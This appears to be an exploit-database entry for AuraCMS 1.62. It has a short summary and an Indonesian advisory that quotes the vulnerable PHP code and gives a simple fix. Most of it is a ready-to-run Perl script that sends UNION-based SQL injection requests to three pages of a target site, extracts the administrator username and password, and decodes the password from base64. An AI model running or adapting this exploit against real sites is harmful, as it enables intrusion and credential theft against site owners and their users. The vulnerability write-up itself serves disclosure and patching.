header-logo
Suggest Exploit
vendor:
AuraCMS
by:
NTOS-Team
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: AuraCMS
Affected Version From: 1.62
Affected Version To: 1.62
Patch Exists: NO
Related CWE: N/A
CPE: a:auracms:auracms:1.62
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

AuraCMS 1.62 Multiple Remote SQL Injection Exploit

AuraCMS 1.62 is vulnerable to multiple remote SQL injection attacks due to the lack of input validation in the 'dl.php' and 'links.php' files. If the 'magic_quotes_gpc' setting is disabled on the server, an attacker can manipulate the SQL statement in the 'kid' variable. For example, an attacker can send a request to 'http://site.korban/auracms162/index.php?pilih=dl&mod=yes&aksi=lihat&kategori=&kid=-9'[SQLI] to exploit the vulnerability.

Mitigation:

Input validation should be implemented to prevent SQL injection attacks.
Source

Exploit-DB raw data:

#!/usr/bin/perl
#
# Indonesian Newhack Security Advisory
# ------------------------------------
# AuraCMS 1.62   Multiple Remote SQL Injection Exploit
# Waktu			:  Feb 15 2008 01:00PM
# Software		:  AuraCMS   
# Versi			:  1.62
# Vendor 		:  http://www.auracms.org/
#
# ------------------------------------
# Audit Oleh 		:  NTOS-Team
# Lokasi		:  Indonesia | http://newhack.org
# Penjelasan		:
# 
# => Kutu pada berkas /mod/dl.php
# --//--
#  8. 	$aksi=$_GET[aksi];	
#  9.	$laporan=$_GET[laporan];
# 10.	$kategori=$_GET[kategori]; if(!$kategori) $kategori=$_POST[kategori];
# 11.	$kid=$_GET[kid]; if(!$kid) $kid=$_POST[kid];
# 12.	$id=$_GET[id]; if(!$id) $id=$_POST[id];
# 13.	$submit=$_POST[submit];
# 14.	$mulai=$_GET[mulai];
# 15.	$hal=$_GET[hal];
# 16.	$brokens=$_GET[brokens];
# --//--
# 59.if ($aksi=="lihat"){
# 60.
# 61.$numresult = mysql_query("SELECT * FROM dl WHERE kid='$kid' AND tipe='aktif' ORDER BY id DESC");
# 62.
# 63.$jmlrec = mysql_num_rows($numresult);
# --//--
# jika magic_quotes_gpc = off pada server maka pengguna dapat memanipulasi pernyataan SQL secara remote pada variabel "kid"
# Contoh;
# http://site.korban/auracms162/index.php?pilih=dl&mod=yes&aksi=lihat&kategori=&kid=-9'[SQLI]
#
# => Kutu pada berkas /mod/links.php
# --//--
#  8.	$aksi=$_GET[aksi];
#  9.	$kategori=$_GET[kategori]; if(!$kategori) $kategori=$_POST[kategori];
# 10.	$kid=$_GET[kid]; if(!$kid) $kid=$_POST[kid];
# 11.	$id=$_GET[id]; if(!$id) $id=$_POST[id];
# 12.	$submit=$_POST[submit];
# 13.	$mulai=$_GET[mulai];
# 14.	$hal=$_GET[hal];
# 15.	$brokens=$_GET[brokens];
# 16.	$laporan=$_GET[laporan];
# --//--
# 59.if ($aksi=="lihat"){
# 60.
# 61.$numresult = mysql_query("SELECT * FROM links WHERE kid='$kid' AND tipe='aktif' ORDER BY id DESC");
# 62.
# 63.$jmlrec = mysql_num_rows($numresult);
# --//--
# jika magic_quotes_gpc = off pada server maka pengguna dapat memanipulasi pernyataan SQL secara remote pada variabel "kid"
# Contoh;
# http://site.korban/auracms162/index.php?pilih=links&mod=yes&aksi=lihat&kategori=&kid=-9'[SQLI]
#
# => Kutu pada berkas /search.php
# --//--
#  8. $query=$_GET[query];
# --//--
# 19.  	$perintah="SELECT * FROM artikel WHERE ((judul LIKE '%$query%' OR konten LIKE '%$query%' OR user LIKE '%$query%')AND publikasi=1)";
# 20.	$hasil=mysql_query($perintah, $koneksi_db);
# 21.	$jumlah1=mysql_numrows($hasil);
# 22.
# 23.	$perintah="SELECT * FROM halaman WHERE (judul LIKE '%$query%' OR konten LIKE '%$query%')";
# 24.	$hasil=mysql_query($perintah, $koneksi_db);
# 25. 	$jumlah2=mysql_numrows($hasil); 
# --//--
# jika magic_quotes_gpc = off pada server maka pengguna dapat memanipulasi pernyataan SQL secara remote pada variabel "query"
# Contoh;
# http://site.korban/index.php?query=t4mugel4p')[SQLI]&pilih=search
# 
# => perbaikan sederhana
# pada berkas "mod/dl.php" dan "mod/links.php"
# ubah kode ;
# $kid=$_GET[kid]; if(!$kid) $kid=$_POST[kid];
# menjadi
# $kid=(int)$_GET[kid]; if(!$kid) $kid=(int)$_POST[kid];
# dan buat magic_quotes_gpc = on pada server
# pada berkas "/search.php" buat fungsi penyaringan "query" dan hidupkan magic_quotes_gpc
#  
# => Perhatian!
# "Exploit ini dibuat untuk pembelajaran, pengetesan dan pembuktian dari apa yang kami pelajari"
# Segela penyalahgunaan dan kerusakan yang diakibat dari exploit ini bukan tanggung jawab kami
# 
# =>Newhack Technology, OpenSource & Security
# ~ NTOS-Team->[fl3xu5,k1tk4t,opt1lc] ~ 
use LWP::UserAgent;
use Getopt::Long;
use MIME::Base64;

if(!$ARGV[2])
{
 print "\n  |-------------------------------------------------------|";
 print "\n  |            Indonesian Newhack Technology              |";
 print "\n  |-------------------------------------------------------|";
 print "\n  |  AuraCMS 1.62 Multiple Remote SQL Injection Exploit   |";
 print "\n  |                Coded by NTOS-Team                     |";
 print "\n  |-------------------------------------------------------|";
 print "\n[!] ";
 print "\n[!] Exploit Berhasil jika magic_quotes_gpc = off pada server";
 print "\n[!] Penggunaan : perl aura162sqli.pl [Site] [Path] [Option]";
 print "\n[!] [Option] 1 = dl.php   |  2 = links.php | 2 = search.php ";
 print "\n[!] Contoh     : perl aura162sqli.pl localhost /aura162/ -o 1";
 print "\n[!] ";
 print "\n";
 exit;
}
$site 		= $ARGV[0]; # Site Target
$path 		= $ARGV[1]; # Path direktori vKios

%options = ();
GetOptions(\%options, "o=i",);
if($options{"o"} && $options{"o"} == 1) 
{ 
$sql = "http://".$site.$path."index.php?pilih=dl&mod=yes&aksi=lihat&kategori=&kid=-999'union+select+concat(0x74346d7520,user,0x20673074),0,0,concat(0x67656c347020,password,0x20673074),0,0,0,0,0,0%20from%20user+limit+0,1/*"; 
}
if($options{"o"} && $options{"o"} == 2) 
{ 
$sql = "http://".$site.$path."index.php?pilih=links&mod=yes&aksi=lihat&kategori=&kid=-999'union+select+concat(0x74346d7520,user,0x20673074),0,0,concat(0x67656c347020,password,0x20673074),0,0,0,0,0,0%20from%20user+limit+0,1/*"; 
}
if($options{"o"} && $options{"o"} == 3) 
{ 
$sql = "http://".$site.$path."index.php?query=1nj3ks1')union+select+0,concat(0x74346d7520,user,0x20673074),concat(0x67656c347020,password,0x20673074)+from+user+limit+0,1/*&pilih=search"; 
}

$www = new LWP::UserAgent;
print "\n\n [!] Injeksi SQL \n";
$res = $www -> get($sql) or err();
$hasil = $res -> content;
if( $hasil =~ /t4mu (.*?) g0t/ )
{ 
print "\n [+] Username      : $1"; 
$hasil =~ /gel4p (.*?) g0t/ , print "\n [+] Password      : $1"; 
print "\n [+] base64 decode : "; print decode_base64($1); print "\n\n"
} 
else 
{ 
print "\n [-] Exploit gagal ;) - magic_quotes_gpc = on";
exit();
}

# milw0rm.com [2008-02-16]